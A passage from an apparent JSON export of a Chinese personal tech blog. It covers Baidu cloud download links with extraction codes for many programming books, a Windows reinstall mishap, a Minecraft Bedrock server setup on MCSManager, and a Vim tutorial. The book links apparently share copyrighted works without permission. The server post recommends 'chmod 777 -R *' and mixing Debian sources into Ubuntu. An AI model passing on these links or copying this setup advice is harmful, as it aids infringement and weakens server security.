href=\"https://pan.baidu.com/s/1kkRnapre9aHHaKDjxeZd-g\"\u003e百度云下载链接\u003c/a\u003e 提取码: 5uil\u003c/li\u003e\u003cli\u003eJava编程思想.zip \u003ca href=\"https://pan.baidu.com/s/1Rrxxbl0SzhErS3bGChSo8A\"\u003e百度云下载链接\u003c/a\u003e 提取码: hpe9\u003c/li\u003e\u003cli\u003eJava并发编程的艺术.zip \u003ca href=\"https://pan.baidu.com/s/1x0xHC8dOJVvTTlqVMIPMlA\"\u003e百度云下载链接\u003c/a\u003e 提取码: 8hid\u003c/li\u003e\u003cli\u003eJava并发编程实践.zip \u003ca href=\"https://pan.baidu.com/s/1Q56joLuLvMUUM4oVVlnkMQ\"\u003e百度云下载链接\u003c/a\u003e 提取码: qjf8\u003c/li\u003e\u003cli\u003eJava从小白到大牛.zip \u003ca href=\"https://pan.baidu.com/s/1I-BAP4iUBfSSJFXRvA-yuA\"\u003e百度云下载链接\u003c/a\u003e 提取码: vncd\u003c/li\u003e\u003cli\u003eJava核心技术.zip \u003ca href=\"https://pan.baidu.com/s/1CoKTy2mPcIQW0XjWPE6XAw\"\u003e百度云下载链接\u003c/a\u003e 提取码: 7wlo\u003c/li\u003e\u003cli\u003eJava性能优化权威指南.zip \u003ca href=\"https://pan.baidu.com/s/1Sr20FUrgVYvlhHZ0WGF7wQ\"\u003e百度云下载链接\u003c/a\u003e 提取码: ghs9\u003c/li\u003e\u003cli\u003eMaven实战.zip \u003ca href=\"https://pan.baidu.com/s/1oIUZHMQ9JiEIEK8THmQRWQ\"\u003e百度云下载链接\u003c/a\u003e 提取码: a0e9\u003c/li\u003e\u003cli\u003eSpring实战.zip \u003ca href=\"https://pan.baidu.com/s/1Sgmt5LPQMtr67Y6kSPvl7A\"\u003e百度云下载链接\u003c/a\u003e 提取码: 6dao\u003c/li\u003e\u003c/ul\u003e\u003ch1 id=\"数据库\"\u003e\u003ca href=\"https://xeonds.github.io/2021/07/08/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E4%B9%A6%E7%B1%8D%E6%94%B6%E9%9B%86/#%E6%95%B0%E6%8D%AE%E5%BA%93\" class=\"headerlink\" title=\"数据库\"\u003e\u003c/a\u003e数据库\u003c/h1\u003e\u003cul\u003e\u003cli\u003e高性能MySQL \u003ca href=\"https://pan.baidu.com/s/1qjILjMsxNZrGFOpgsbH5DA\"\u003e百度云下载链接\u003c/a\u003e 密码:4g3g\u003c/li\u003e\u003cli\u003e深入浅出MySQL \u003ca href=\"https://pan.baidu.com/s/1AZT75ENobXq6HqhCzEBKBA\"\u003e百度云下载链接\u003c/a\u003e 密码:vbve\u003c/li\u003e\u003cli\u003eMongoDB权威指南 \u003ca href=\"https://pan.baidu.com/s/1rITlCutBkybPPY1mwyq_Nw\"\u003e百度云下载链接\u003c/a\u003e 密码:jr88\u003c/li\u003e\u003cli\u003eMySQL必知必会 \u003ca href=\"https://pan.baidu.com/s/1rcqkimg5wuWzU7SYBBANTA\"\u003e百度云下载链接\u003c/a\u003e 密码:v5jg\u003c/li\u003e\u003cli\u003eMySQL技术内幕InnoDB存储引擎 \u003ca href=\"https://pan.baidu.com/s/1A0JrWuQlCnKSxrEaezNKdA\"\u003e百度云下载链接\u003c/a\u003e 密码:c2tv\u003c/li\u003e\u003cli\u003eSQL查询的艺术 \u003ca href=\"https://pan.baidu.com/s/10qcO-rCGx1JLqRlM3XbxnA\"\u003e百度云下载链接\u003c/a\u003e 密码:j462\u003c/li\u003e\u003cli\u003eSQLite 权威指南 \u003ca href=\"https://pan.baidu.com/s/1koxDAAGgWQNY9RfkhWImGw\"\u003e百度云下载链接\u003c/a\u003e 密码:ewv1\u003c/li\u003e\u003c/ul\u003e\u003ch1 id=\"Go\"\u003e\u003ca href=\"https://xeonds.github.io/2021/07/08/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E4%B9%A6%E7%B1%8D%E6%94%B6%E9%9B%86/#Go\" class=\"headerlink\" title=\"Go\"\u003e\u003c/a\u003eGo\u003c/h1\u003e\u003cul\u003e\u003cli\u003e学习Go语言 \u003ca href=\"https://pan.baidu.com/s/17-NxoWoQwQSFzK2UG7h9Yw\"\u003e百度云下载链接\u003c/a\u003e 密码:eut4\u003c/li\u003e\u003cli\u003eGo语言实战 \u003ca href=\"https://pan.baidu.com/s/1HQGWVQc5TvO5_eLbt9AY5A\"\u003e百度云下载链接\u003c/a\u003e 密码:bauv\u003c/li\u003e\u003cli\u003eGo web编程 \u003ca href=\"https://pan.baidu.com/s/17dKezZPos8TuHfvCxw8DEQ\"\u003e百度云下载链接\u003c/a\u003e 密码:aenp\u003c/li\u003e\u003cli\u003eC 程序设计语言第2版 \u003ca href=\"https://pan.baidu.com/s/115FdJH6AadPtGB0msY1G9Q\"\u003e百度云下载链接\u003c/a\u003e 密码:liqm\u003c/li\u003e\u003c/ul\u003e\u003ch1 id=\"面试相关\"\u003e\u003ca href=\"https://xeonds.github.io/2021/07/08/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E4%B9%A6%E7%B1%8D%E6%94%B6%E9%9B%86/#%E9%9D%A2%E8%AF%95%E7%9B%B8%E5%85%B3\" class=\"headerlink\" title=\"面试相关\"\u003e\u003c/a\u003e面试相关\u003c/h1\u003e\u003cul\u003e\u003cli\u003e阿里巴巴Java面试问题大全 \u003ca href=\"https://pan.baidu.com/s/15TtNHL5AVL94K1ROP1bwPA\"\u003e百度云下载链接\u003c/a\u003e 密码:f7v3\u003c/li\u003e\u003cli\u003e程序员面试宝典 \u003ca href=\"https://pan.baidu.com/s/1Yxi_WX5Ho9RS3GeiUIFYTQ\"\u003e百度云下载链接\u003c/a\u003e 密码:v21s\u003c/li\u003e\u003cli\u003e大厂面试真题 \u003ca href=\"https://pan.baidu.com/s/1wwhW-ZoU-LrhHr85-wIHUQ\"\u003e百度云下载链接\u003c/a\u003e 密码:qtis\u003c/li\u003e\u003cli\u003eJava面试突击 \u003ca href=\"https://pan.baidu.com/s/1s-nUxqYpT2ME9olzk2dbVg\"\u003e百度云下载链接\u003c/a\u003e 密码:35sp\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e书籍全部来源于网络其他人的整理,我这里只是收集整理了他们的链接,如有侵权,马上联系我,我立马删除对应链接。我的邮箱:\u003ca href=\"mailto:1362305590@qq.com\"\u003e1362305590@qq.com\u003c/a\u003e\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2021/07/08/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E4%B9%A6%E7%B1%8D%E6%94%B6%E9%9B%86/"},{"title":"又想重构博客了.jpg(","time":"2021-07-07T06:10:58Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e本来吧,是想直接从头开始,重写一个新的版本。结果写到一半发现,还是直接改方便(\u003c/p\u003e\u003cp\u003e后面打算分离程序和数据,用json存储设置数据,提高灵活性,可维护性之类的。\u003c/p\u003e\u003cp\u003e在写了在写了.jpg(\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2021/07/07/%E6%96%87%E5%AD%A6/%E6%9D%82%E8%B0%88/%E5%8F%88%E6%83%B3%E9%87%8D%E6%9E%84%E5%8D%9A%E5%AE%A2%E4%BA%86.jpg%EF%BC%88/"},{"title":"用火绒的一次翻车经历(","time":"2021-07-04T15:54:27Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch3 id=\"概要\"\u003e\u003ca href=\"https://xeonds.github.io/2021/07/04/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%94%A8%E7%81%AB%E7%BB%92%E7%9A%84%E4%B8%80%E6%AC%A1%E7%BF%BB%E8%BD%A6%E7%BB%8F%E5%8E%86%EF%BC%88/#%E6%A6%82%E8%A6%81\" class=\"headerlink\" title=\"概要\"\u003e\u003c/a\u003e概要\u003c/h3\u003e\u003cp\u003e昨天下午,在被一堆人安利了Windows11之后,咱看了看电脑上还是20H1的Win10,留下了悔恨的泪水(不是)。于是决定不管怎么着吧,起码先更新到20H2吧?\u003c/p\u003e\u003cp\u003e说干就干。开始启用Windows Update。嗯?怎么不行?哦,那就把注册表,组策略之类的都改一改吧()于是,输入gpedit.msc,它告诉我被禁用了。。。被禁用了。。。禁用了。。。\u003c/p\u003e\u003cp\u003e这样一来,更新就不能安装了啊(恼)。可是虽然禁用了,但又没完全禁用,更新下载进程还在后台蹦跶着呢。这一看我就火了啊,打开更新目录:C:\\Windows\\SoftwareDistribution.删除。嗯?被占用?占用进程还是svchost.exe?好,火绒解除占用。什么?你说有危险,备份数据?我管呢,就是干()\u003c/p\u003e\u003cp\u003e于是,就有了这篇文章。。。(泣)我两年都没换过的系统啊(大哭)就这么没了啊(哀嚎)\u003c/p\u003e\u003cp\u003e尝试过修复,但是完全没头绪啊()不久结束了个进程吗?怎么就无限蓝屏重启了?\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e错误代码:CRITICAL SERVICE FAILED\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e翻译成人话,就是关键进程启动失败。肯定就是svchost.exe啊。毕竟dll都离不开它,它发脾气,谁受得了啊(叹)\u003c/p\u003e\u003cp\u003e万般无奈之下,只得重装系统,和我Chrome里几百个标签页,以及好不容易磨合好的输入法、开发环境、vscode插件之类的含泪告别(〒▽〒)\u003c/p\u003e\u003cp\u003e不够也不错。刚好趁这个机会,把硬盘里那堆文件给收拾整齐了。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e顺便,我貌似还有个文件管理区的坑没填来着(学完C#就去做\u003c/p\u003e\u003c/blockquote\u003e\u003ch3 id=\"分析\"\u003e\u003ca href=\"https://xeonds.github.io/2021/07/04/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%94%A8%E7%81%AB%E7%BB%92%E7%9A%84%E4%B8%80%E6%AC%A1%E7%BF%BB%E8%BD%A6%E7%BB%8F%E5%8E%86%EF%BC%88/#%E5%88%86%E6%9E%90\" class=\"headerlink\" title=\"分析\"\u003e\u003c/a\u003e分析\u003c/h3\u003e\u003cblockquote\u003e\u003cp\u003e先占着位置,后面再分析(咕\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e先写一点吧()\u003c/p\u003e\u003cp\u003e这件事非常玄学。大概搜了一下,感觉原因很可能是进程强制结束导致的文件损坏。当时的关键操作基本就是用火绒解除占用这一点,后面得看下这个强制结束的机制。\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2021/07/04/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%94%A8%E7%81%AB%E7%BB%92%E7%9A%84%E4%B8%80%E6%AC%A1%E7%BF%BB%E8%BD%A6%E7%BB%8F%E5%8E%86%EF%BC%88/"},{"title":"MCSManager开服小记","time":"2021-06-20T15:48:15Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/file/img/4d17bffecbbb55feb79b3d20c2ec2519.png\" alt=\"!\"/\u003e\u003cbr/\u003e这边先放上来Ubuntu基岩版服务端:\u003ca href=\"https://minecraft.azureedge.net/bin-linux/bedrock-server-1.14.60.5.zip\"\u003ehttps://minecraft.azureedge.net/bin-linux/bedrock-server-1.14.60.5.zip\u003c/a\u003e(点击下载,也可以复制链接在服务器上wget下载)\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e上面那个链接可以直接改后面的版本号下载对应版本。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e那先让我们看看mcsm官方的教程。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e在 Linux 启动 bedrock 服务端就兼用用 sh 脚本启动的方法,否则很有可能启动失败。\u003c/p\u003e\u003c/blockquote\u003e\u003cul\u003e\u003cli\u003e首先下载Linux系统的服务端,其中会有一个叫做 bedrock_server 的文件。\u003c/li\u003e\u003cli\u003e在面板中的 服务端管理 点击 创建新实例 再选择 自定义启动命令 方案。\u003c/li\u003e\u003cli\u003e取好 名字,项目位置推荐默认,下一步。\u003c/li\u003e\u003cli\u003e使用 选择文件上传 上传你的压缩包(必须用zip格式,建议自己下载解压打包成zip),下一步。\u003c/li\u003e\u003cli\u003e启动命令写成 sh start.sh,稍后我们上传这个文件。\u003c/li\u003e\u003cli\u003e在自己的本地电脑创建一个脚本文件叫做 start.sh,写入开服指令:\u003cbr/\u003e\u003ccode\u003eLD_LIBRARY_PATH=. ./bedrock_server\u003c/code\u003e\u003c/li\u003e\u003cli\u003e在服务端管理界面中点击 管理,进入文件在线管理,上传这个start.sh的脚本文件。\u003c/li\u003e\u003cli\u003e在文件在线管理界面中,解压你刚刚上传的zip压缩包,稍作休息,耐心等待。\u003cbr/\u003e开服。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e操作过程中,我遇到了这么几个问题。\u003c/p\u003e\u003ch3 id=\"其一:bedrock-server-Permission-denied\"\u003e\u003ca href=\"https://xeonds.github.io/2021/06/20/%E6%B8%B8%E6%88%8F/Minecraft/MCSManager%E5%BC%80%E6%9C%8D%E5%B0%8F%E8%AE%B0/#%E5%85%B6%E4%B8%80%EF%BC%9Abedrock-server-Permission-denied\" class=\"headerlink\" title=\"其一:bedrock_server: Permission denied\"\u003e\u003c/a\u003e其一:bedrock_server: Permission denied\u003c/h3\u003e\u003cp\u003e这个好办。虽然只有面板,但是我还可以自定义启动脚本啊。\u003c/p\u003e\u003cp\u003e直接编辑启动脚本\u003ccode\u003estart.sh\u003c/code\u003e,在启动指令前面再加一行:\u003c/p\u003e\u003cp\u003e\u003ccode\u003echmod 777 -R *\u003c/code\u003e\u003c/p\u003e\u003cp\u003e再运行。好!不报错了。\u003c/p\u003e\u003ch3 id=\"其二:依赖库缺失问题\"\u003e\u003ca href=\"https://xeonds.github.io/2021/06/20/%E6%B8%B8%E6%88%8F/Minecraft/MCSManager%E5%BC%80%E6%9C%8D%E5%B0%8F%E8%AE%B0/#%E5%85%B6%E4%BA%8C%EF%BC%9A%E4%BE%9D%E8%B5%96%E5%BA%93%E7%BC%BA%E5%A4%B1%E9%97%AE%E9%A2%98\" class=\"headerlink\" title=\"其二:依赖库缺失问题\"\u003e\u003c/a\u003e其二:依赖库缺失问题\u003c/h3\u003e\u003cp\u003e别人已经说得很清楚了,我就直接复制一下作为参考(。)\u003c/p\u003e\u003cp\u003e启动一下试试 LD_LIBRARY_PATH=. ./bedrock_server,发现没有启动成功,查看错误信息\u003c/p\u003e\u003cp\u003e./bedrock_server: error while loading shared libraries: libcurl.so.4: cannot open shared object file: No such file or directory\u003cbr/\u003e原来是没有安装libcurl.so.4,百度插一下这个文件属于哪个包,直接安装然后再次启动\u003c/p\u003e\u003cp\u003eapt install libcurl4-openssl-dev\u003cbr/\u003eLD_LIBRARY_PATH=. ./bedrock_server\u003cbr/\u003e依旧报错,继续查看错误信息,然后查\u003c/p\u003e\u003cp\u003e./bedrock_server: error while loading shared libraries: libssl.so.1.1: cannot open shared object file: No such file or directory\u003cbr/\u003e原来是需要安装openssl,安装后再次启动,\u003c/p\u003e\u003cp\u003eapt install openssl\u003cbr/\u003e依旧报错\u003c/p\u003e\u003cp\u003e./bedrock_server: /lib/x86_64-linux-gnu/libm.so.6: version `GLIBC_2.27’ not found (required by ./bedrock_server)\u003cbr/\u003e安装libc6\u003c/p\u003e\u003cp\u003eecho ‘deb \u003ca href=\"http://ftp.debian.org/debian/\"\u003ehttp://ftp.debian.org/debian/\u003c/a\u003e buster main’ \u0026gt;\u0026gt; /etc/apt/sources.list\u003cbr/\u003eapt update\u003cbr/\u003eapt -t buster install libc6\u003cbr/\u003e再次启动\u003c/p\u003e\u003cp\u003eLD_LIBRARY_PATH=. ./bedrock_server\u003cbr/\u003e终于可以正常启动了\u003c/p\u003e\u003chr/\u003e\u003cp\u003e差不多就是这样了吧。后面就看某鸽子啥时候处理依赖问题吧(咕\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2021/06/20/%E6%B8%B8%E6%88%8F/Minecraft/MCSManager%E5%BC%80%E6%9C%8D%E5%B0%8F%E8%AE%B0/"},{"title":"Vim使用指北","time":"2021-06-19T07:43:16Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch2 id=\"0x0-简介\"\u003e\u003ca href=\"https://xeonds.github.io/2021/06/19/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/Vim%E4%BD%BF%E7%94%A8%E6%8C%87%E5%8C%97/#0x0-%E7%AE%80%E4%BB%8B\" class=\"headerlink\" title=\"0x0.简介\"\u003e\u003c/a\u003e0x0.简介\u003c/h2\u003e\u003cp\u003e这是一个几乎所有Linux发行版都会自带的,(比较)轻量级的,功能强大的恰到好处的文本编辑器。\u003c/p\u003e\u003cp\u003e因为其功能极度强大,所以人赐外号:“编辑器之神”。\u003c/p\u003e\u003cp\u003e不过,因为它的一切操作只依靠键盘,所以对于用习惯GUI的朋友们而言,不太友好。\u003cdel\u003e在谷歌上输入How to quit,联想结果的第一个就是How to quit vim(\u003c/del\u003e相对其他几个编辑器而言,它的学习曲线还是比较适中的。初学的时候记下几个快捷键,用熟了再继续慢慢学,不知不觉就能用得越来越爽了。\u003c/p\u003e\u003cp\u003e要想用好Vim,就离不开下面这几个关键点:\u003c/p\u003e\u003cul\u003e\u003cli\u003e快捷键(灵魂)\u003c/li\u003e\u003cli\u003e配置文件(用得更爽)\u003c/li\u003e\u003cli\u003e插件(?)\u003c/li\u003e\u003cli\u003e帮助文档(!),输入\u003ccode\u003e:help\u003c/code\u003e即可查看\u003c/li\u003e\u003c/ul\u003e\u003cp\u003eVim的灵魂是按键操作,而不是\u003cem\u003e花里胡哨\u003c/em\u003e的插件。想要用各种插件把Vim打造的媲美IDE的,不妨去试用各种集成Vim的IDE,而不是Vim——你只会浪费时间,很多时候还不会达到目的。\u003c/p\u003e\u003cp\u003e我各种IDE(jb全家桶/VSCode)+Vim插件用的都比较爽。虽然支持的不是很全面,不过只要支持各种语义操作、宏操作以及可视化之类的操作,其实就差不多了。目前体验最好的是VSCode+Vim插件,基本功能支持良好,VSCode Native Integration也做的有可取之处(很多VSCode的重要按键都能映射给VSCode)。Vim已经是一种哲学了。当然如果你是原教旨主义者那随你喜好咯(\u003c/p\u003e\u003cp\u003e另外,想要真正学习Vim的,建议\u003ccode\u003eVimtutor\u003c/code\u003e,并且重点就是学习各种编辑快捷键,以及Vim的编辑器模型设计。\u003c/p\u003e\u003cp\u003e反正我现在原生的Vim使用场景要么是C/C++/Bash之类的主力开发,博客/笔记,要么是其他重量级语言/项目的轻度开发。写博客/写文章这种纯语言的输出挺适合Vim,重度写代码的话,还是自己组合一套合适的工具链完成吧。\u003c/p\u003e\u003ch2 id=\"0x01-基础操作\"\u003e\u003ca href=\"https://xeonds.github.io/2021/06/19/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/Vim%E4%BD%BF%E7%94%A8%E6%8C%87%E5%8C%97/#0x01-%E5%9F%BA%E7%A1%80%E6%93%8D%E4%BD%9C\" class=\"headerlink\" title=\"0x01.基础操作\"\u003e\u003c/a\u003e0x01.基础操作\u003c/h2\u003e\u003cp\u003e假定你在用任意一个Linux发行版(Windows需要单独下载),根据下面的步骤来尝试Vim吧。\u003c/p\u003e\u003cp\u003e首先,在命令行中输入\u003ccode\u003evim\u003c/code\u003e,进入Vim。也可以输入\u003ccode\u003evim filename\u003c/code\u003e来编辑一个现存的文件,或者创建并编辑一个新的文件。\u003c/p\u003e\u003cp\u003e进入Vim后,按键盘上的\u003ccode\u003ei\u003c/code\u003e以进入编辑模式。此时,最下方的状态指示变为\u003ccode\u003eINSERT\u003c/code\u003e,即插入模式。这时,我们可以像使用其他文本编辑器一样使用Vim,不过只能用键盘输入、删除和移动光标,并且不能用\u003ccode\u003eCtrl+Z/C/V\u003c/code\u003e等组合键,它们不仅没有作用,有的还会终止编辑器使得你丢失编辑进度。\u003c/p\u003e\u003cp\u003e输入完毕后,按一下键盘左上角的\u003ccode\u003eEsc\u003c/code\u003e,退出编辑模式。随后,输入\u003ccode\u003e:\u003c/code\u003e(即英文冒号)进入命令模式,此时输入的命令在最底下的状态栏显示。接着,输入\u003ccode\u003ewq\u003c/code\u003e保存并退出vim。除了用\u003ccode\u003e:wq\u003c/code\u003e保存并退出,也可以按\u003ccode\u003eESC\u003c/code\u003e之后直接输入\u003ccode\u003eZZ\u003c/code\u003e(大写)来保存并退出。\u003c/p\u003e\u003cp\u003e这就是Vim的基本使用,现在可以尝试用它进行最基础的文件编辑。\u003c/p\u003e\u003ch2 id=\"0x02-常用操作与技巧\"\u003e\u003ca href=\"https://xeonds.github.io/2021/06/19/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/Vim%E4%BD%BF%E7%94%A8%E6%8C%87%E5%8C%97/#0x02-%E5%B8%B8%E7%94%A8%E6%93%8D%E4%BD%9C%E4%B8%8E%E6%8A%80%E5%B7%A7\" class=\"headerlink\" title=\"0x02.常用操作与技巧\"\u003e\u003c/a\u003e0x02.常用操作与技巧\u003c/h2\u003e\u003ch3 id=\"查找替换\"\u003e\u003ca href=\"https://xeonds.github.io/2021/06/19/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/Vim%E4%BD%BF%E7%94%A8%E6%8C%87%E5%8C%97/#%E6%9F%A5%E6%89%BE%E6%9B%BF%E6%8D%A2\" class=\"headerlink\" title=\"查找替换\"\u003e\u003c/a\u003e查找替换\u003c/h3\u003e\u003col\u003e\u003cli\u003e查找\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e首先是单字符查找命令:\u003ccode\u003ef\u003c/code\u003e命令。它的用法为\u003ccode\u003ef{char}\u003c/code\u003e,也就是先按\u003ccode\u003ef\u003c/code\u003e再按要查找的字符。使用\u003ccode\u003e;\u003c/code\u003e查找下一个字符,使用\u003ccode\u003e,\u003c/code\u003e查找上一个字符。\u003c/p\u003e\u003cp\u003e其次是查找匹配项。可以使用\u003ccode\u003e/pattern\u003c/code\u003e来查找。用法很简单,输入\u003ccode\u003e/\u003c/code\u003e和要匹配的对象的表达式,回车即可。使用\u003ccode\u003en\u003c/code\u003e查找下一项,用\u003ccode\u003eN\u003c/code\u003e查找上一项。\u003c/p\u003e\u003col start=\"2\"\u003e\u003cli\u003e替换\u003c/li\u003e\u003c/ol\u003e\u003cp\u003eVi/Vim 中可以使用 :s 命令来替换字符串。以前只会使用一种格式来全文替换,今天发现该命令有很多种写法(vim 真是强大啊,还有很多需要学习的),记录几种在此,方便以后查询。\u003c/p\u003e\u003cp\u003e\u003ccode\u003e:s/vivian/sky/\u003c/code\u003e 替换当前行第一个 vivian 为 sky\u003cbr/\u003e\u003ccode\u003e:s/vivian/sky/g\u003c/code\u003e 替换当前行所有 vivian 为 sky\u003cbr/\u003e\u003ccode\u003e:n,$s/vivian/sky/\u003c/code\u003e 替换第 n 行开始到最后一行中每一行的第一个 vivian 为 sky\u003cbr/\u003e\u003ccode\u003e:n,$s/vivian/sky/g\u003c/code\u003e 替换第 n 行开始到最后一行中每一行所有 vivian 为 sky\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003en 为数字,若 n 为 \u003ccode\u003e.\u003c/code\u003e 则表示从当前行开始到最后一行\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e\u003ccode\u003e:%s/vivian/sky/\u003c/code\u003e(等同于 \u003ccode\u003e:g/vivian/s//sky/\u003c/code\u003e) 替换每一行的第一个 vivian 为 sky\u003cbr/\u003e\u003ccode\u003e:%s/vivian/sky/g\u003c/code\u003e(等同于 \u003ccode\u003e:g/vivian/s//sky/g\u003c/code\u003e) 替换每一行中所有 vivian 为 sky\u003c/p\u003e\u003cp\u003e替换可以使用\u003ccode\u003e\u0026amp;\u003c/code\u003e重复,使用\u003ccode\u003eu\u003c/code\u003e撤销。\u003c/p\u003e\u003cp\u003e或者,可以在普通模式上使用\u003ccode\u003er\u003c/code\u003e进行单次替换,使用\u003ccode\u003eR/Insert\u003c/code\u003e进行多次替换。借助后者,可以进入替换模式。在这模式下,输入任意字符都会替换当前位置的字符。如果替换错误的话,使用Backspace退格取消替换,或者先返回普通模,再按\u003ccode\u003eu\u003c/code\u003e撤销上次更改即可。\u003c/p\u003e\u003ch3 id=\"跳转\"\u003e\u003ca href=\"https://xeonds.github.io/2021/06/19/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/Vim%E4%BD%BF%E7%94%A8%E6%8C%87%E5%8C%97/#%E8%B7%B3%E8%BD%AC\" class=\"headerlink\" title=\"跳转\"\u003e\u003c/a\u003e跳转\u003c/h3\u003e\u003cp\u003eVim的复杂,一定程度上就是因为跳转功能十分丰富。比如:\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003e{\u003c/code\u003e和\u003ccode\u003e}\u003c/code\u003e:跳转到下一个空白行\u003c/li\u003e\u003cli\u003e\u003ccode\u003eC-f\u003c/code\u003e和\u003ccode\u003eC-b\u003c/code\u003e:上下滚动屏幕\u003c/li\u003e\u003cli\u003e\u003ccode\u003eC-u\u003c/code\u003e和\u003ccode\u003eC-d\u003c/code\u003e:上下滚动半屏\u003c/li\u003e\u003cli\u003e\u003ccode\u003ew\u003c/code\u003e和\u003ccode\u003ee\u003c/code\u003e:跳转到下一个词开头/当前词结尾\u003c/li\u003e\u003cli\u003e\u003ccode\u003egh/j/k/l\u003c/code\u003e:无视行,在折行中进行上下左右的跳转\u003c/li\u003e\u003cli\u003e\u003ccode\u003e*\u003c/code\u003e:跳转到下一个和光标下匹配的词\u003c/li\u003e\u003cli\u003e\u003ccode\u003en\u003c/code\u003e和\u003ccode\u003eN\u003c/code\u003e:跳转到下/上一个搜索词\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"组合编辑\"\u003e\u003ca href=\"https://xeonds.github.io/2021/06/19/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/Vim%E4%BD%BF%E7%94%A8%E6%8C%87%E5%8C%97/#%E7%BB%84%E5%90%88%E7%BC%96%E8%BE%91\" class=\"headerlink\" title=\"组合编辑\"\u003e\u003c/a\u003e组合编辑\u003c/h3\u003e\u003cp\u003e另外有一些命令将一些操作组合到了一起,实现了很多种的编辑方式,比如:\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003es\u003c/code\u003e和\u003ccode\u003eS\u003c/code\u003e:删除当前字符/行并进入编辑模式\u003c/li\u003e\u003cli\u003e\u003ccode\u003ecc\u003c/code\u003e和\u003ccode\u003eC\u003c/code\u003e:等价上面的\u003ccode\u003eS\u003c/code\u003e操作符\u003c/li\u003e\u003cli\u003e\u003ccode\u003eJ\u003c/code\u003e:将下一行的内容拼接到当前行尾\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e其他的什么\u003ccode\u003eoOiIaA\u003c/code\u003e暂时懒得写了,因为有个更重要的就是按键组合。比如\u003ccode\u003ec$\u003c/code\u003e删除到行尾并编辑,\u003ccode\u003ecaw/a/s/p\u003c/code\u003e删除并编辑当前单词/语块/行/段落等,都是很好用的组合编辑命令。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e特别注意。上面的组合命令格式类似于\u003cstrong\u003e动词+名词\u003c/strong\u003e的结构,给一个可组合动词(反例就是\u003ccode\u003es/S\u003c/code\u003e,按下就执行,无法组合)后面加上语义,构成了一种愉快的编辑体验:比手动框选更加精确迅速的编辑模式。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e而且上面的操作也可以借助一次移动一次编辑的形式重复化利用,合起来就是编辑高效的秘诀。\u003c/p\u003e\u003ch3 id=\"Visual模式\"\u003e\u003ca href=\"https://xeonds.github.io/2021/06/19/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/Vim%E4%BD%BF%E7%94%A8%E6%8C%87%E5%8C%97/#Visual%E6%A8%A1%E5%BC%8F\" class=\"headerlink\" 